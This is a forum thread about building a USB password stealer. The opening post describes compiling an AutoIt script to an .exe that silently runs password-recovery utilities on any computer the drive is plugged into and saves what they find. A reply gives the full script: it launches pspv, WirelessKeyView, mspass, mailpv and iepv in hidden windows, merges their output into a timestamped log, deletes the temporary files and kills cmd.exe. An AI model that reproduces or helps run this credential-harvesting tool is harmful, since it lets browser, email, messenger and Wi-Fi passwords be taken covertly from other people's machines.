Jump to content

Recommended Posts

Posted

You write your AutoIt script so that when the script is run, it runs those four magic little programs that retrieve the passwords. After you write the script, you use AutoIt to compile the script to a .exe file. You put the exe file and the programs on your USB drive. When you stick your USB drive in a computer, find the exe file and run it. If all goes well, no error messages will pop up and you will have a new log file written to your USB drive.

Enjoy

  • Replies 52
  • Created
  • Last Reply

Top Posters In This Topic

  • 1 year later...
Posted

LoL! I really hate to restart an old topic. But I've been messing with AutoIT and one of my u3 drives for work. Well I wanted to make it easier to obtain passwords off of our networks and our clients networks when we are working on them. Anyhow I pulled out the old script and blew the dust off of it so to speak. Well now I can't get it to run right...

Here is the code I'm using, maybe someone can point to me the error that I'm just not seeing. Any and all help is appreciated.

The error I keep rec'n is Line 1: Run(@ComSpec & '/k "pspv.exe /stext .takepspv.txt"', @ScriptDir, @SW_HIDE)

Error: Unknown Command.

Run(@ComSpec & ' /k "pspv.exe /stext .takepspv.txt"', @ScriptDir, @SW_HIDE)

sleep(200)


Run(@ComSpec & ' /k "WirelessKeyView.exe /stext .takeWireless.txt"', @ScriptDir, @SW_HIDE)

sleep(200)


Run(@ComSpec & ' /k "mspass.exe /stext .takemspass.txt"', @ScriptDir, @SW_HIDE)

sleep(200)



Run(@ComSpec & ' /k "mailpv.exe /stext .takemailpv.txt"', @ScriptDir, @SW_HIDE)

sleep(200)



Run(@ComSpec & ' /k "iepv.exe /stext .takeiepass.txt"', @ScriptDir, @SW_HIDE)

sleep(3000)



Run(@ComSpec & ' /k "COPY .take*.txt .takeall.txt"', @ScriptDir, @SW_HIDE)

sleep(3000)



Dim $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @HOUR & "-" & @MIN & "_" & @SEC

Dim $Location = @WorkingDir & '.take'

Dim $FileName = "all.txt"



FileMove($Location & $FileName , $Location & $DateTime & ".log",1)

sleep(3000)



Run(@ComSpec & ' /k "del .take*.txt"', @ScriptDir, @SW_HIDE)

sleep(1000)


Run(@ComSpec & ' /k "process.exe -k cmd.exe"', @ScriptDir, @SW_HIDE)

sleep(1000)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.

×
×
  • Create New...